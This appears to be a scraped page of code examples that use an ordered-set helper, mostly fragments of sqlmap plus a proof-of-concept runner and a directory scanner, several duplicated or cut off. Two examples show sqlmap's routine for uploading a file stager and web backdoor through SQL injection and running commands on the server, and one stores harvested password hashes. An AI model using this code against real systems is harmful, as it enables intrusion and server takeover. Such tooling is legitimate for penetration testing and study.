Ejemplo n.º 1
0
def storeHashesToFile(attack_dict):
    if not attack_dict:
        return

    items = oset()

    for user, hashes in attack_dict.items():
        for hash_ in hashes:
            hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
            if hash_ and hash_ != NULL and hashRecognition(hash_):
                item = None
                if user and not user.startswith(DUMMY_USER_PREFIX):
                    item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
                else:
                    item = "%s\n" % hash_.encode(UNICODE_ENCODING)

                if item and item not in items:
                    items.add(item)

    if kb.storeHashesChoice is None:
        message = "do you want to store hashes to a temporary file "
        message += "for eventual further processing with other tools [y/N] "

        kb.storeHashesChoice = readInput(message, default='N', boolean=True)

    if items and kb.storeHashesChoice:
        handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
        os.close(handle)

        infoMsg = "writing hashes to a temporary file '%s' " % filename
        logger.info(infoMsg)

        with open(filename, "w+") as f:
            for item in items:
                f.write(item)
Ejemplo n.º 2
0
def storeHashesToFile(attack_dict):
    if not attack_dict:
        return

    items = oset()

    for user, hashes in attack_dict.items():
        for hash_ in hashes:
            hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
            if hash_ and hash_ != NULL and hashRecognition(hash_):
                item = None
                if user and not user.startswith(DUMMY_USER_PREFIX):
                    item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
                else:
                    item = "%s\n" % hash_.encode(UNICODE_ENCODING)

                if item and item not in items:
                    items.add(item)

    if kb.storeHashesChoice is None:
        message = "do you want to store hashes to a temporary file "
        message += "for eventual further processing with other tools [y/N] "

        kb.storeHashesChoice = readInput(message, default='N', boolean=True)

    if items and kb.storeHashesChoice:
        handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
        os.close(handle)

        infoMsg = "writing hashes to a temporary file '%s' " % filename
        logger.info(infoMsg)

        with open(filename, "w+") as f:
            for item in items:
                f.write(item)
Ejemplo n.º 3
0
def crawl(target):
    try:
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = oset()

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current,
                                                  crawling=True,
                                                  raise404=False)[0]
                except SqlmapConnectionException, e:
                    errMsg = "connection exception detected (%s). skipping " % e
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL, e:
                    errMsg = "invalid URL detected (%s). skipping " % e
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
Ejemplo n.º 4
0
def crawl(target):
    try:
        threadData = getCurrentThreadData()
        threadData.shared.value = oset()

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current, crawling=True, raise404=False)[0]
                except SqlmapConnectionException, e:
                    errMsg = "connection exception detected (%s). skipping " % e
                    errMsg += "url '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL, e:
                    errMsg = "invalid url detected (%s). skipping " % e
                    errMsg += "url '%s'" % current
                    logger.critical(errMsg)
Ejemplo n.º 5
0
def parseSitemap(url, retVal=None):
    global abortedFlag

    if retVal is not None:
        logger.debug("parsing sitemap '%s'" % url)

    try:
        if retVal is None:
            abortedFlag = False
            retVal = oset()

        content = Request.getPage(url=url,
                                  raise404=True)[0] if not abortedFlag else ""
        for match in re.finditer(r"<loc>\s*([^<]+)", content):
            if abortedFlag:
                break
            url = match.group(1).strip()
            if url.endswith(".xml") and "sitemap" in url.lower():
                if kb.followSitemapRecursion is None:
                    message = "sitemap recursion detected. Do you want to follow? [y/N] "
                    test = readInput(message, default="N")
                    kb.followSitemapRecursion = test[0] in ("y", "Y")
                if kb.followSitemapRecursion:
                    parseSitemap(url, retVal)
            else:
                retVal.add(url)

    except KeyboardInterrupt:
        abortedFlag = True
        warnMsg = "user aborted during sitemap parsing. sqlmap "
        warnMsg += "will use partial list"
        logger.warn(warnMsg)

    return retVal
Ejemplo n.º 6
0
def parseSitemap(url, retVal=None):
    global abortedFlag

    if retVal is not None:
        logger.debug("parsing sitemap '%s'" % url)

    try:
        if retVal is None:
            abortedFlag = False
            retVal = oset()

        content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
        for match in re.finditer(r"<loc>\s*([^<]+)", content):
            if abortedFlag:
                break
            url = match.group(1).strip()
            if url.endswith(".xml") and "sitemap" in url.lower():
                if kb.followSitemapRecursion is None:
                    message = "sitemap recursion detected. Do you want to follow? [y/N] "
                    test = readInput(message, default="N")
                    kb.followSitemapRecursion = test[0] in ("y", "Y")
                if kb.followSitemapRecursion:
                    parseSitemap(url, retVal)
            else:
                retVal.add(url)

    except KeyboardInterrupt:
        abortedFlag = True
        warnMsg = "user aborted during sitemap parsing. sqlmap "
        warnMsg += "will use partial list"
        logger.warn(warnMsg)

    return retVal
Ejemplo n.º 7
0
    def getTargetUrls(self):
        try:
            threadData = getCurrentThreadData()
            threadData.shared.outputs = oset()

            def crawlThread():
                threadData = getCurrentThreadData()

                while kb.threadContinue:
                    with kb.locks.limits:
                        if threadData.shared.unprocessed:
                            current = threadData.shared.unprocessed.pop()
                        else:
                            break

                    content = None
                    try:
                        if current:
                            content = Request.getPage(url=current,
                                                      crawling=True,
                                                      raise404=False)[0]
                    except SqlmapConnectionException, e:
                        errMsg = "connection exception detected (%s). skipping " % e
                        errMsg += "url '%s'" % current
                        logger.critical(errMsg)
                    except httplib.InvalidURL, e:
                        errMsg = "invalid url detected (%s). skipping " % e
                        errMsg += "url '%s'" % current
                        logger.critical(errMsg)
Ejemplo n.º 8
0
    def generate(self):
        """
        @brief      1. If keyword %EXT% is found -->
                       Append lines with REPLACED extension
                    2. If keyword %EXT% not found & is File-->
                       Append lines with REPLACED extension & one line with '/'
                    3. If The keyword %EXT% not found & is Directory -->
                       Append lines as they were

        @result     Generate The 'self.entries'
        """
        result = []
        for line in self.dictionaryFile.getLines():
            if line.lstrip().startswith("#"):
                continue  # Skip All Comments In The Dict
            # Process The Preset Wordlist
            # --> Replace Every Preset %EXT% With Target Extension
            # e.g. about.%EXT% -> about.php
            #      access_admin.%EXT% -> access_admin.php
            if "%EXT%" in line:
                for extension in self._extensions:
                    # Replace "EXT" to Given Extension
                    quoted = self.urlQuote(line.replace('%EXT%', extension))
                    result.append(quoted)
            # No "%EXT%" & forcedExtensions == True & Is File (Not Ended With '/')
            elif self._forcedExtensions and not line.rstrip().endswith("/"):
                quoted = self.urlQuote(line)
                for extension in self._extensions:
                    if extension.strip() == '':  # No extension is given
                        result.append(quoted)
                    else:  # Append the given extension
                        result.append(quoted + '.' + extension)
                if quoted.strip() not in ['']:
                    result.append(quoted + "/")
            else:  # Append lines as they were
                result.append(self.urlQuote(line))

        # "oset" library provides inserted ordered and unique collection
        if self.lowercase:
            self.entries = list(oset(map(lambda l: l.lower(), result)))
        else:
            self.entries = list(oset(result))

        del (result)
Ejemplo n.º 9
0
def crawl(target):
    try:
        f = set()
        ext_hosts = set()
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = oset()

        def crawlThread():
            threadData = getCurrentThreadData()
            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(
                                conf.crawlExclude, current):
                            dbgMsg = "skipping '%s'" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current,
                                                  crawling=True,
                                                  raise404=False)[0]
                        global count
                        if count > 100:
                            print
                            "more than 100 I do not like"
                            break
                        else:
                            count += 1

                except SqlmapConnectionException, ex:
                    errMsg = "connection exception detected (%s). skipping " % getSafeExString(
                        ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = "invalid URL detected. skipping '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL, ex:
                    errMsg = "invalid URL detected (%s). skipping " % getSafeExString(
                        ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
Ejemplo n.º 10
0
 def __init__(self, pocs):
     baseCmd.__init__(self)
     if IS_WIN:
         colorInit()
     self.shellPrompt = "\033[01;35msheep>script>runPocs>\033[0m"
     self.allPocs = pocs
     self.targets = Queue.Queue()
     self.mixTargets = Queue.Queue()
     self.ip = None
     self.file = None
     self.url = None
     self.threadsun = 1
     self.pocModule = {}
     self.results = oset()
Ejemplo n.º 11
0
    def _execute(self):
        kb.results = oset()

        _setHTTPUserAgent()
        _setHTTPReferer()
        _setHTTPCookies()
        _setHTTPTimeout()

        registerPocFromDict()
        pocViolation()

        setMultipleTarget()
        _setHTTPProxy()

        start()
Ejemplo n.º 12
0
    def _execute(self):
        kb.results = oset()

        _setHTTPUserAgent()
        _setHTTPReferer()
        _setHTTPCookies()
        _setHTTPTimeout()

        registerPocFromFile()
        pocViolation()

        setMultipleTarget()
        _setHTTPProxy()

        start()
Ejemplo n.º 13
0
def parseSitemap(url, retVal=None):
    global abortedFlag

    if retVal is not None:
        logger.debug("parsing sitemap '%s'" % url)

    try:
        if retVal is None:
            abortedFlag = False
            retVal = oset()

        try:
            content = Request.getPage(
                url=url, raise404=True)[0] if not abortedFlag else ""
        except httplib.InvalidURL:
            errMsg = "invalid URL given for sitemap ('%s')" % url
            raise SqlmapSyntaxException, errMsg

        for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
            if abortedFlag:
                break
            url = match.group(1).strip()
            if url.endswith(".xml") and "sitemap" in url.lower():
                if kb.followSitemapRecursion is None:
                    message = "sitemap recursion detected. Do you want to follow? [y/N] "
                    kb.followSitemapRecursion = readInput(message,
                                                          default='N',
                                                          boolean=True)
                if kb.followSitemapRecursion:
                    parseSitemap(url, retVal)
            else:
                retVal.add(url)

    except KeyboardInterrupt:
        abortedFlag = True
        warnMsg = "user aborted during sitemap parsing. sqlmap "
        warnMsg += "will use partial list"
        logger.warn(warnMsg)

    return retVal
Ejemplo n.º 14
0
def crawl(target):
    try:
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = oset()

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(conf.crawlExclude, current):
                            dbgMsg = "skipping '%s'" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current, crawling=True, raise404=False)[0]
                except SqlmapConnectionException, ex:
                    errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = "invalid URL detected. skipping '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL, ex:
                    errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
Ejemplo n.º 15
0
def crawl(target):
    try:
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = oset()

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(conf.crawlExclude, current):
                            dbgMsg = "skipping '%s'" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current, crawling=True, raise404=False)[0]
                except SqlmapConnectionException, ex:
                    errMsg = u"检测到连接异常(%s)," % getSafeExString(ex)
                    errMsg += u"跳过网址 '%s'" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = u"检测到无效的网址,跳过 '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL, ex:
                    errMsg = u"检测到无效的网址(%s) " % getSafeExString(ex)
                    errMsg += u"跳过网址 '%s'" % current
                    logger.critical(errMsg)
Ejemplo n.º 16
0
def parseSitemap(url, retVal=None):
    global abortedFlag

    if retVal is not None:
        logger.debug("parsing sitemap '%s'" % url)

    try:
        if retVal is None:
            abortedFlag = False
            retVal = oset()

        try:
            content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
        except httplib.InvalidURL:
            errMsg = "invalid URL given for sitemap ('%s')" % url
            raise SqlmapSyntaxException(errMsg)

        for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
            if abortedFlag:
                break
            url = match.group(1).strip()
            if url.endswith(".xml") and "sitemap" in url.lower():
                if kb.followSitemapRecursion is None:
                    message = "sitemap recursion detected. Do you want to follow? [y/N] "
                    kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
                if kb.followSitemapRecursion:
                    parseSitemap(url, retVal)
            else:
                retVal.add(url)

    except KeyboardInterrupt:
        abortedFlag = True
        warnMsg = "user aborted during sitemap parsing. sqlmap "
        warnMsg += "will use partial list"
        logger.warn(warnMsg)

    return retVal
Ejemplo n.º 17
0
def initializeKb():
    kb.targets = Queue.Queue()
    kb.pocFiles = set()
    kb.results = oset()
    kb.registeredPocs = {}
Ejemplo n.º 18
0
    def __init__(self, script_path):
        self.script_path = script_path
        self.parseConfig()  # Load The Local Preset Config First
        # Load The Command Line Passed In Arguments, Override Default Config
        args = self.parseArguments()

        # Load Command Line Passed In URL (List)
        if args.url is None:
            # If Using URL List
            if args.urlList is not None:
                with FileOps(args.urlList) as urlList:
                    # Exit Scanner If URL List Can't Be Loaded
                    if not urlList.exists():  # Existence Check
                        print("The URL List is Missing...")
                        exit(0)
                    if not urlList.isValid():  # Validation Check
                        print("The URL List is Invalid...")
                        exit(0)
                    if not urlList.canRead():  # Readability Check
                        print("The URL List is Not Readable...")
                        exit(0)
                    # Call getLines() Method In FileOps Module
                    # Parse The URL List Into The Scanner
                    self.urlList = list(urlList.getLines())
            else:  # Missing Target URL --> Exit
                print(
                    "Target URL (List) is Missing ...\n" +
                    "Restart The Scanner With Proper '[-u|--url] <Target URL>' Usage\n"
                )
                exit(0)
        else:  # No Passed In URL --> Set to None
            self.urlList = [args.url]

        # Check Command Line Extensions
        if args.extensions is None:
            print("At Least One Extension Must Be Specified\n" +
                  "Exiting...\n")
            exit(0)

        # Exit Scanner If Wordlist Can't Be Loaded
        with FileOps(args.wordlist) as wordlist:
            if not wordlist.exists():
                print("Wordlist is Missing...")
                exit(0)
            if not wordlist.isValid():
                print("The Wordlist is Invalid...")
                exit(0)
            if not wordlist.canRead():
                print("The Wordlist is Not Readable...")
                exit(0)

        # Load The Custom HTTP Proxy
        if args.httpProxy is not None:
            if args.httpProxy.startswith('http://'):
                self.proxy = args.httpProxy
            else:
                self.proxy = 'http://{0}'.format(args.httpProxy)
        else:
            self.proxy = None

        # Threads Number Must >= 1
        if args.numThreads < 1:
            print("Must Have At Least 1 Thread, Please Restart...")
            exit(0)
        self.numThreads = args.numThreads

        # Load The Custom Headers
        if args.headers is not None:
            try:
                self.headers = dict(
                    (key.strip(), value.strip())
                    for (key, value) in (header.split(':', 1)
                                         for header in args.headers))
            except Exception:
                print("Invalid Headers...")
                exit(0)
        else:
            self.headers = {}

        # Load The Custom Excluded Status Codes
        if args.excludeStatusCodes is not None:
            try:
                self.excludeStatusCodes = list(
                    oset([
                        int(excludeStatusCode.strip())
                        if excludeStatusCode else None for excludeStatusCode in
                        args.excludeStatusCodes.split(',')
                    ]))
            except ValueError:
                self.excludeStatusCodes = []
        else:
            self.excludeStatusCodes = []

        # Load The Subdirs of Website
        if args.scanSubdirs is not None:
            self.scanSubdirs = list(
                # Using Third Party --> oset/pyoset Module
                oset([
                    subdir.strip() for subdir in args.scanSubdirs.split(',')
                ]))
            # Strip All '/' From The Custom Sub Directories
            for i in range(len(self.scanSubdirs)):
                while self.scanSubdirs[i].startswith("/"):  # Front
                    self.scanSubdirs[i] = self.scanSubdirs[i][1:]
                while self.scanSubdirs[i].endswith("/"):  # End
                    self.scanSubdirs[i] = self.scanSubdirs[i][:-1]
            # Add Backslash for Each Sub Directories
            self.scanSubdirs = list(
                oset([subdir + "/" for subdir in self.scanSubdirs]))
        else:
            self.scanSubdirs = None

        # Load The Exluded Sub Directories
        # Must Be Used In Conjunction With Recursive Mode
        if args.excludeSubdirs is not None:
            if not args.recursive:
                print(
                    "Be Aware: Exclude Dirs Must Be Used In Conjunction With Recursive Mode (-r|--recursive)"
                )
                exit(0)
            else:  # Load The Excluded Sub Directories
                self.excludeSubdirs = list(
                    oset([
                        subdir.strip()
                        for subdir in args.excludeSubdirs.split(',')
                    ]))
                # Strip All '/' From The Custom Sub Directories
                for i in range(len(self.excludeSubdirs)):
                    while self.excludeSubdirs[i].startswith("/"):
                        self.excludeSubdirs[i] = self.excludeSubdirs[i][1:]
                    while self.excludeSubdirs[i].endswith("/"):
                        self.excludeSubdirs[i] = self.excludeSubdirs[i][:-1]
                self.excludeSubdirs = list(oset(self.excludeSubdirs))
        else:
            self.excludeSubdirs = None

        # Initialize The Reminants Down Below

        # Mandatory Section Arguments
        self.extensions = list(
            oset([
                extension.strip() for extension in args.extensions.split(',')
            ]))

        # Connection Section Arguments
        self.timeout = args.timeout
        self.ip = args.ip
        self.maxRetries = args.maxRetries
        self.requestByHostname = args.requestByHostname

        # Optional Section Arguments
        self.delay = args.delay
        self.recursive = args.recursive
        self.suppressEmpty = args.suppressEmpty
        self.cookie = args.cookie
        self.userAgent = args.userAgent
        self.useRandomAgents = args.useRandomAgents
        self.redirect = args.noFollowRedirects

        # Reports Section Arguments
        self.simpleOutputFile = args.simpleOutputFile
        self.plainTextOutputFile = args.plainTextOutputFile
        self.jsonOutputFile = args.jsonOutputFile

        # Dictionary Section Arguments
        self.wordlist = args.wordlist
        self.lowercase = args.lowercase
        self.forceExtensions = args.forceExtensions
Ejemplo n.º 19
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Ejemplo n.º 20
0
Archivo: web.py Proyecto: 0ps/sqlmap
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
        success = False

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

